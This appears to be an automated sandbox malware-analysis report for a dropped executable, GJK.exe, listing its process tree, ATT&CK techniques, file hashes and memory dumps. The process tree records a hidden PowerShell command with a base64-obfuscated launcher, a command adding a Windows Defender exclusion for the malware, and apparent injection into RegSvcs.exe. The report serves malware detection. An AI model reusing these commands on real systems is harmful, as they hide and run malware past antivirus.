      timeout /t 1 /nobreak
      4⤵
      PID:3560
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:4480
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:1840
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3024
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5916
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:3040
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2392
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3412
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5584
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2880
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1728
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4280
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1304
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4336
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:3068
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4752
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3752
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2908
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1668
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1164
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2412
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2868
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:4892
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2836
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1036
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2928
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4332
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3028
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:3228
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4548
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5104
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4236
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2464
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4600
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2752
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2080
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:1252
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3000
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4880
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:3044
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:5020
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4632
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3400
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6124

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$1gn4cz=Get-Date;$3sbboc=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$l4i4rl=3489;$slavre=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEdKSy5leGU=')));$45kpjq=$env:COMPUTERNAME;& $3sbboc -FilePath $slavre"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1888
- C:\Users\Admin\AppData\Roaming\GJK.exe
  "C:\Users\Admin\AppData\Roaming\GJK.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\GJK.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5520
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:576
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5516
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\cleanup_RFVVDxu2RhvtAhazXCzhhoNA1LnvqR.bat""
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5392
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4552
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2460
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:1072
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4972
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:6068
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1376
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4852
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2256
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5480
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2168
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4708
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3116
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2444
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4300
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:1364
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3348
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1336
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4488
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4780
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2060
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5912
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4412
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3448
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3356
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:1060
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4968
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4124
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1484
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3244
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3488
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2832
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4872
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1192
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5500
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5920
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4900
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6136
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2428
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5720
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4944
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5084
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3136
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1556
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4424
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2632
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3284
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5884
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3548
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1520
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:6140
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2076
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4688
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5492
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4768
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3960
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2460
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5644
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3860
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1072
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:1584
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2760
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1376
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3772
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4640
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4284
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5752
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5168
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3140
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5196
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1588
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5232
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2096
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3060
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5012
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3280
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:1380
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1692
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4536
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4144
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5172
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4204
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3252
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:436
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3420
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1484
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2848
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5692
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:484
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2856
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2640
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2452
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:1192
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:1756
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4452
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4060
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:5276
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:300
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:2112
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:3728
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2368
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4912
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        5⤵
        
        PID:4360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 528B
SHA256 edd9262676249dfe28a61d663172a450c735dd18a046b251bf539495b8825095
MD5 12941dcb6a4370dfda190a14e38af984
SHA1 4d50410fa8e54541767ce84063be3b4c1cce5eda
SHA512 e472f98cc32e9c8da6b64444a988fe257b4ca47ed5d4289f75ef68f6a84e2fbe1f0013bcc3548e3be98f669424a68a10390f254d862cb4e61c62724f3897ead1
TLSH
T1EEF05532F3DE8568CCA4403110DECA10772FC7CB8192CE1B6A80C459BC0B241CE70011
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 82cb64061a728c04390ee822d1e4f735ff27ba8b6133e11afb2e50020ad467f0
MD5 433f32ca2e89834e14405f8d6df432b9
SHA1 7bcf1228bebb3b2622e849a0435929103384f74d
SHA512 6cfd5bb13ec039b0006e5a13183749706852bb149cc2874edf28d1846e533d188de24d0373359004d7e909fc4cf228faca34cfb8dc72805bf3d96328ab340cf6
SSDEEP 384:v1eBaoT1iBGCGW14bJ6D9f0W+geCp+r2Pn5IAXr4B+dWoVIzKwMvYbhNaPElRtre:texZ6GZWiF+9fP+X6RIAXrq+tojbhNa5
TLSH
T15EA2C578213F6DC7D8D216B410D20AE7FBE4D489DAB611D4BF2BDE2F4C90EB64A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_pe0eesan.vq4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pe0eesan.vq4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

GJK.exe

Path C:\Users\Admin\AppData\Roaming\GJK.exe
Size 1.4MB
SHA256 a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2
MD5 99fe8f956c0d011baaf21fca0b9279c1
SHA1 f1d53aa486fd17f1731887948f35b5cb0e624879
SHA512 0dba645c86af587b14f55752c8662eebc34b62831da9bac459767b5c576152d92a45073bb2c80dc74cddd8995c35086816ad16045558e0c212a8858de1220d91
SSDEEP 24576:RdvSjP/2oSdvj7hSe2BiSe74xndpuIkn3v1eV1o1cLEINRgyo1C1S7dHeT/:Hqb/2oSl70e2wc/HMveqohza1V7dHer
TLSH
T1256512142617CE01E1A51FB405E1D3B416748F85A913D34BFEEA3DEBB93B79A2E012D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cleanup_9PFLPIJB5wmwyxbuInPyCnQG35RMZt.bat

Path C:\Users\Admin\AppData\Roaming\Temp\cleanup_9PFLPIJB5wmwyxbuInPyCnQG35RMZt.bat
Size 566B
SHA256 9663618b64fdaab2022285db694106cfecee5e2de16494474694212d2d659716
MD5 af098c8911775bbb79c2f17745d0dffd
SHA1 bdbec814ccbf4eec896f78e5921cf7d220451c93
SHA512 08a984645f3d6ef1949b66392873e59e805cdbc824b8a33f4e5ac15468a1a32be14fafd68620f649171baa2fbee1a79eab7e5aaa2be07b7e4665558e9abbc836
TLSH
T1F2F02B1A326D4B60D132B5F16D6B318092CA8893BD42B852F55894179FA345F8A937C3
MD5 SHA1 SHA512 TLSH

Submit Download

cleanup_RFVVDxu2RhvtAhazXCzhhoNA1LnvqR.bat

Path C:\Users\Admin\AppData\Roaming\Temp\cleanup_RFVVDxu2RhvtAhazXCzhhoNA1LnvqR.bat
Size 566B
SHA256 be424aad8ced605ecbdc6abffaafd3d57f4635c4e72e786aed8dba14149df3a9
MD5 b3d508ca917d831976c3adb2d96d1a65
SHA1 c99bea6617279d3d2e2fa5660aed456241ace781
SHA512 981aefd5671837f92c1d2bba3b5d788101b76e6561150d4be0e709daeb59997d18bfa8ccc70bb06c0c7e9a462c856fde9f6212a8bd767d85ae14d5a4b1449fe6
TLSH
T136F08B1A322D0B34D032B6F52D6B318492898483BD01B852F5A894179BA345B9A833C3
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1504-44-0x00000000070F0000-0x0000000007193000-memory.dmp

Download

memory/1504-16-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/1504-46-0x0000000007250000-0x000000000726A000-memory.dmp

Download

memory/1504-39-0x00000000070B0000-0x00000000070E6000-memory.dmp

Download

memory/1504-40-0x00000000758B0000-0x00000000758FC000-memory.dmp

Download

memory/1504-47-0x00000000072C0000-0x00000000072CA000-memory.dmp

Download

memory/1504-48-0x00000000074C0000-0x0000000007556000-memory.dmp

Download

memory/1504-13-0x00000000026D0000-0x0000000002706000-memory.dmp

Download

memory/1504-14-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/1504-45-0x0000000007890000-0x0000000007F0C000-memory.dmp

Download

memory/1504-15-0x0000000005180000-0x00000000057CA000-memory.dmp

Download

memory/1504-17-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/1504-19-0x00000000050E0000-0x0000000005146000-memory.dmp

Download

memory/1504-20-0x00000000057D0000-0x0000000005836000-memory.dmp

Download

memory/1504-43-0x00000000064B0000-0x00000000064D0000-memory.dmp

Download

memory/1504-51-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/1504-31-0x0000000005ED0000-0x0000000005EEE000-memory.dmp

Download

memory/1504-32-0x0000000006070000-0x00000000060BC000-memory.dmp

Download

memory/1888-36-0x00000208A8250000-0x00000208A8272000-memory.dmp

Download

memory/3520-12-0x0000000007A60000-0x0000000007B96000-memory.dmp

Download

memory/3520-3-0x00000000059D0000-0x0000000005A62000-memory.dmp

Download

memory/3520-1-0x0000000000D50000-0x0000000000EC6000-memory.dmp

Download

memory/3520-2-0x0000000006140000-0x00000000066FA000-memory.dmp

Download

memory/3520-29-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/3520-4-0x0000000005A70000-0x0000000005A7A000-memory.dmp

Download

memory/3520-5-0x0000000005C20000-0x0000000005CBC000-memory.dmp

Download

memory/3520-0-0x0000000074FF2000-0x0000000074FF3000-memory.dmp

Download

memory/3520-11-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/3520-10-0x0000000074FF2000-0x0000000074FF3000-memory.dmp

Download

memory/3520-9-0x0000000005EB0000-0x0000000005ED2000-memory.dmp

Download

memory/3520-8-0x0000000007100000-0x000000000745B000-memory.dmp

Download

memory/3520-7-0x0000000005CC0000-0x0000000005CE2000-memory.dmp

Download

memory/3520-6-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/4648-18-0x0000000000400000-0x000000000049A000-memory.dmp

Download

memory/4648-22-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/4648-21-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/4648-33-0x0000000074FE0000-0x000000007579C000-memory.dmp

Download

memory/4648-25-0x0000000004EA0000-0x0000000004EAA000-memory.dmp

Download

memory/5520-58-0x0000000005EB0000-0x000000000620B000-memory.dmp

Download

memory/5520-61-0x0000000006380000-0x00000000063CC000-memory.dmp

Download

memory/5520-62-0x0000000071F20000-0x0000000071F6C000-memory.dmp

Download

memory/5520-65-0x0000000007530000-0x00000000075D3000-memory.dmp

Download